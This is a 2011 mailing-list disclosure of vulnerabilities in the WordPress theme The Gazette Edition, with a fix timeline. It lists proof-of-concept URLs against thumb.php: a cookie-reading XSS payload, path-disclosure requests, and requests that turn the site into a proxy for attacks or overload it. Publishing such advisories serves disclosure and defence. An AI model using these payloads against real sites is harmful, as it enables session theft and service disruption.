Hello list! I want to warn you about Cross-Site Scripting, Full path disclosure, Abuse of Functionality and Denial of Service vulnerabilities in The Gazette Edition theme for WordPress. It's commercial theme for WP by WooThemes. ------------------------- Affected products: ------------------------- Vulnerable are The Gazette Edition 2.9.4 and previous versions. XSS is possible only in old versions of the theme. Recently in version The Gazette Edition 2.9.5 most of these vulnerabilities were fixed (but there were still left many not fixed FPD). ---------- Details: ---------- XSS (WASC-08): http://site/wp-content/themes/gazette/thumb.php?src=1%3Cbody%20onload=alert(document.cookie)%3E Full path disclosure (WASC-13): http://site/wp-content/themes/gazette/thumb.php?src=http://site http://site/wp-content/themes/gazette/thumb.php?src=http://site/page.png&h=1&w=1111111 http://site/wp-content/themes/gazette/thumb.php?src=http://site/page.png&h=1111111&w=1 http://site/wp-content/themes/gazette/ And also tens of php-scripts of the theme in folder /gazette/ and all subfolders. Abuse of Functionality (WASC-42): http://site/wp-content/themes/gazette/thumb.php?src=http://site&h=1&w=1 DoS (WASC-10): http://site/wp-content/themes/gazette/thumb.php?src=http://site/big_file&h=1&w=1 About such AoF and DoS vulnerabilities I wrote in article Using of the sites for attacks on other sites (http://lists.grok.org.uk/pipermail/full-disclosure/2010-June/075384.html). Beside folder /gazette/ in folder with themes, this theme also can be placed in folder /gazette-dev/gazette/. ------------ Timeline: ------------ 2011.02.01 - informed developers about other themes. 2011.02.03 - announced at my site. 2011.02.04 - additionally informed developers about this theme. 2011.02.04-12 - conversation about fixing holes in all their themes for WordPress. At first they tried to fix all these holes in themes at their own sites. 2011.02.22 - developers released version 2.9.5. 2011.04.11 - disclosed at my site. I mentioned about these vulnerabilities at my site (http://websecurity.com.ua/4900/). Best wishes & regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua